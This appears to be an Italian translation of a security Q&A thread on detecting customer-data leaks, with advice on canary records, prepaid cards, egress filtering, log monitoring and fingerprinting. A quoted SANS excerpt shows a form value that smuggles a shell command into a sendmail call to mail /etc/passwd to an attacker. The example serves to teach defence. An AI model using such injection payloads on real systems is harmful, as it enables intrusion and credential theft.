Come verrebbe rilevato se i dati del cliente sono stati divulgati?

Il monitoraggio dei record dal DB da pubblicare è davvero tutto ciò che puoi fare senza l'accesso diretto al server. Potresti provare la penetrazione a testare il sito tu stesso per cercare buchi, ma probabilmente è imprudente e probabilmente illegale a seconda della giurisdizione e delle Condizioni d'uso del sito e degli eventuali obblighi contrattuali che potresti avere quando lo hai scritto.

Se sei davvero preoccupato, potresti semplicemente chiedere il permesso di eseguire test di penetrazione periodici sui siti dei precedenti clienti per garantire che i loro siti rimangano sicuri. Se trovi una vulnerabilità esposta su una di esse, puoi segnalarla a loro in modo che possano risolverla o entrare per ripararla.

Anche se non l'ho fatto - non ho contratto tutto quello che ero abituato a fare - stavo progettando di ottenere un po 'di piccole carte Visa prepagate da $ 25 - $ 50 e usarle sui siti con cui ero coinvolto. Una carta per sito

Conserva il numero della carta e se viene usato sai con ragionevole certezza che c'è stata una violazione sul loro sistema.

Devi avere alcune cose da configurare in anticipo per rilevare l'esfiltrazione dei dati.

1. Filtro di uscita del firewall
2. Controllo della larghezza di banda di Netflow / snmp
3. Monitoraggio log

Il monitoraggio del registro è particolarmente importante perché anche il firewall e potenzialmente netflow registreranno il traffico. C'è stato un sacco di traffico verso un particolare URL da un particolare IP? Forse stanno scaricando informazioni tramite SQL injection o provando a. Qualcuno ha provato a copiare i dati su un computer esterno sulla porta 22? Il filtro Egress prenderà / bloccherà quello. Hai finito per avere la porta 53 udp aperta per qualsiasi motivo e dopo aver trovato scp bloccato hanno scavalcato fuori da quella porta? Il traffico massiccio su udp 53 verrà rilevato da netflow. Tutto ciò fa parte del semplice controllo della rete.

OK. A volte sentirsi troppo al sicuro è l'altra faccia della medaglia. Una piccola paranoia non è in realtà una brutta cosa.

Venendo alla tua domanda, se fossi al tuo posto, adotterei le seguenti misure per ridurre il livello di rischio: -

1. Esegui un 'bisogno di analisi' per una * Prevenzione della perdita di dati * considerando che non sono gli utenti front-webapp che hanno accesso ai dati, ma privilegiano gli utenti che possono abusare del trust possono perdere i dati / informazioni private di individui. Basato su Prevenzione della perdita di dati . Estratto dice: -

   ..."detective control alone is not sufficient. While detective control would provide visibility, preventive control is a necessity to lessen data leaks by both accidentally and intentionally."

2. Identifica i controlli; tenendo presente il principio fondamentale che ogni controllo o detective o correttivo dovrebbe essere costruito con il concetto di "prevenzione". Ad esempio un controllo investigativo che sia abbastanza intelligente da rilevare rapidamente il comportamento sbagliato e sms l'amministratore nel momento in cui accade. Prendi in considerazione l'uso di software di controllo dell'integrità come tripwire o ossec.

3. Definisci una rigorosa politica di controllo degli accessi per limitare l'abuso o la superficie di attacco degli aggressori.

4. Esegui revisioni manuali del codice o tramite l'uso di strumenti di test automatici del codice, ad esempio appscan, per eseguire analisi dinamiche del codice. Dovrebbero essere applicati controlli e saldi necessari che rilevano accessi non autorizzati, eccezioni e registri relativi a campi legali per l'applicazione della legge. Anche a livello di codice è possibile verificare l'integrità tramite controlli operativi come i controlli di input / output.
5. Esegui regolarmente esercizi di valutazione della sicurezza sul Web / test di penetrazione per misurare l'efficacia dei controlli.
6. Esegue il controllo interno dell'intero sistema, il db e il front-end. Identifica i problemi relativi alla conformità e risolverli.
7. Follow-up con un programma o una politica ben definita di sensibilizzazione alla sicurezza che permetta all'utente finale di vigilare sulla sicurezza e di identificare in modo proattivo gli attacchi legati alla sua privacy.

Esempio

Un vero esempio, ma spiega e complimenta la discussione che sto svolgendo in particolare per quanto riguarda il test del codice manuale. L'estratto è tratto dall'articolo Usa offesa per informare difesa . SANS definisce i punti deboli dei controlli di input per quanto riguarda l'applicazione web come segue: -

The CGI and underlying application is also subject to input attacks. They are subject to HTML Malicious Tags if they rewrite web pages based in user input and to the variants (cross-site scripting, buffer overflows and shell attacks) if they do not have adequate input controls.

The most commonly cited examples of CGI security breaches involve manipulating a shell program into performing something unexpected. The form below lets a user e-mail a message to a specified person. For example, the HTML form page below:

<INPUT TYPE="radio" NAME="send_to" VALUE="[email protected]">Stephen Northcutt<br>

The next step in the process is to execute a script that writes the message to a temporary file and then e-mails that file to the selected address. In Perl, this could be done with the command:

System("/usr/lib/sendmail -t $send_to < $temp_file");

As long as the user selects from the addresses that are given, everything will work fine. There is however no way to be sure. Because the HTML form itself has been transferred to the user's client machine, it can be edited to read:

<INPUT TYPE="radio" NAME="send_to" VALUE="[email protected];mail [email protected]</etc/passwd">Stephen<br>

As soon as this is sent, the original sendmail call will stop at the semicolon, and the system will execute the next command. The next command would mail the password file to the user, who could then decrypt it and use it to gain login access to the server.

Strategia SANS per il rilevamento di tali attacchi

1. Questo attacco (controlli di input) è sfortunatamente immune ai sistemi di rilevamento delle intrusioni di rete basati su firma (IDS) perché assomiglia al normale traffico di navigazione web.
2. IDS basati su host potrebbero essere in grado di rilevare questo attacco utilizzando i log degli errori dell'applicazione, lo sviluppo di firme per questi registri sarebbe un progetto interessante.

La ricerca di alcuni dei dati memorizzati nel database è il modo più semplice per rilevare una perdita di dati. Puoi anche cercare gli eventi causati dalla perdita di dati (ad esempio, alcune transazioni in una carta di credito o un messaggio di posta elettronica che riceve spam).

Per semplificare, puoi:

• Aggiungi record fittizi al database. Puoi taggarli (o non) come falso in modo che l'applicazione non li usi. Possono essere creati dall'applicazione o possono essere inseriti manualmente. Possono essere pochi o molti.
• Filigrana i record nel database. Aggiungendo o modificando alcuni dati su alcuni (o tutti) i record (reali o falsi) regolarmente (ad esempio, settimanalmente), in modo che se scopri un record in the wild, saprai quando è successo.
• Per le operazioni di esportazione (se l'applicazione include funzioni di esportazione o di backup o anche rapporti a elenchi completi) è possibile aggiungere le impronte digitali ai dati. Quelli sono elementi singoli (stringhe aggiunte a colonne, intere colonne o interi record) aggiunti al volo per quell'utente solo per quel solo tempo, in modo che tu possa scoprire un traditore (un utente legittimo con accesso ai dati chi lo ha fatto trapelare).

Ad esempio, supponiamo che l'applicazione crei un record fittizio su mille di record reali e che ogni record abbia un indirizzo email. Inoltre, la tua applicazione aggiunge un cognome fasullo ai record casuali usando un elenco di cognomi falsi (ovviamente la tua applicazione dovrebbe ignorarli quando vengono trovati nella posizione di stringa prevista). Per semplificare, diciamo che hai un sacco di domini con account e-mail catch-all. La tua applicazione modifica gli indirizzi email di tali record fittizi mensilmente, utilizzando i tuoi domini. Si monitorano gli indirizzi e-mail e si eseguono ricerche Web automatiche per trovare il contenuto di tali record fittizi. Se trovi nomi e indirizzi email sul Web o ricevi spam in uno di questi indirizzi, saprai che i dati sono trapelati.

(Si dovrebbe prestare molta attenzione quando si utilizza un motore di ricerca se si nutrono clienti reali / pazienti / quali dati, in quanto si potrebbero violare alcune leggi sulla privacy, ma se i dati sono falsi o reali ma i tuoi allora è ok).

Se disponi di risorse sufficienti, puoi anche richiedere carte di credito / debito reali, includerle nei tuoi record fittizi e quindi monitorare qualsiasi attività su di loro.

Serve a rilevare un'interruzione completa dei dati (l'autore dell'attacco ha l'intero database).

Per perdite di dati minori (da alcuni dipendenti che ottengono alcune informazioni da alcuni record) la soluzione sarebbe diversa. Aggiungere le impronte digitali ai dati sarebbe più utile.

Personalmente, ho implementato il fingerprinting per diverse applicazioni (poiché c'erano più amministratori, avendo accesso all'intero database dall'applicazione) e aggiungendo i record fittizi a un paio di applicazioni con i dati del cliente (tuttavia non lo faccio fai il monitoraggio, spero che i miei clienti lo stiano facendo)